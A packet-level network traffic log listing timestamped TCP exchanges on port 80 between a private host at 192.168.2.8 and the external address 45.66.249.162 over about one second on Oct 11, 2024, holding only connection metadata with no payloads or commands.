Oct 11, 2024 22:32:27.925609112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925662041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925662041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925662041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925662041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925662041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925662041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925749063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925781012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925791979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925806999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925832033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925834894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925834894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925848961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925892115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925904989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925923109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925936937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925968885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925968885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925968885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925968885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925968885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926011086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926054955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926065922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926076889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926091909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926109076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926119089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926119089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926139116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926187038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926197052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926255941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926259995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926270008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926295042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926310062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926317930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926317930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926320076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926338911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926338911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926345110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926357031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926357031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926376104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926395893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926405907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926419020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926419020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926419020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926428080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926430941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926440001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926461935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926471949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926479101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926479101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926490068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926498890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926577091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926577091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926688910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926698923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926714897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926729918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926739931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926752090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926752090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926752090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926759958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926794052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926821947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926850080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926861048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926879883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926891088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926906109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926906109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926908970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926927090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926937103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926947117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926947117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926948071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.926955938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.926971912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.927035093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.927035093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.927035093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.012018919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.012164116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073539019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073563099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073589087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073601961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073618889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073628902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073645115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073657990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073669910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073699951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073712111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073729992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073740005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073759079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073760986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073760986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073760986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073760986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073760986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073798895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073807955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073823929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073836088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073838949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073838949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073854923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073865891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073884010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073904037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073915005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073935986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073942900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073942900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073942900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073945045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073942900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073944092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.073965073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073985100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.073997021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074007034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074007034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074011087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074021101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074034929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074043036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074048996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074070930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074079990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074135065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074136019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074135065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074135065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074135065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074147940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074168921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074176073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074191093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074203014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074222088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074234009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074248075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074263096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074263096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074264050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074263096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074263096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074263096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074286938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074299097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074305058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074305058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074320078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074331999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074348927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074362040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074374914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074389935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074404001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074470997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074470997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074470997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074470997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074470997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074470997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074668884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074680090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074698925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074712038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074814081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074814081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074814081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074815035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074827909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074847937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074847937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074861050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074879885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074882030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074894905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074911118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074923038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074939966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074950933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.074955940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074955940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.074955940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075078011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075078964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075114012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075124979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075144053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075158119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075170994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075186968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075198889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075220108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075229883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075237989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075237989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075237989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075237989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075237989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075246096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075273037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075273037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075308084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075503111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075514078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075531960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075654984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075666904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075683117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075683117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075683117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075683117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075690985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075702906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075707912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075722933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075737000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075759888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075769901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075781107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075781107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075781107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075781107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075790882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075797081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075805902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075807095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075824976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075838089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075854063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075861931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075879097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.075905085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075906038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075906038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075906038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075906038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.075963974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076277971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076370001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076431990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076443911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076461077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076473951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076488972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076503038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076514959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076529980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076544046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076564074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076564074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076564074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076564074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076564074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076564074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076587915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076601028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076617002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076625109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076641083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076651096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076668024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.076700926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076700926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076700926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076700926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076700926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076700926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.076741934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.082357883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082371950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082391977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082422018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082436085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082449913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082465887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082478046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.082514048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.082514048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.082514048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.082514048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.082514048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.162403107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.162489891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.162538052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.162587881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.162683964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.162683964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.162683964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.162683964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223457098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223495007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223510027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223524094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223542929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223566055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223576069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223592997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223609924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223619938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223637104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223653078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223664045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223680019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223691940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223690987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223691940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223691940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223711014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223735094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223746061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223751068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223751068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223751068 CEST	49707	80	192.168.2.8	45.66.249.162
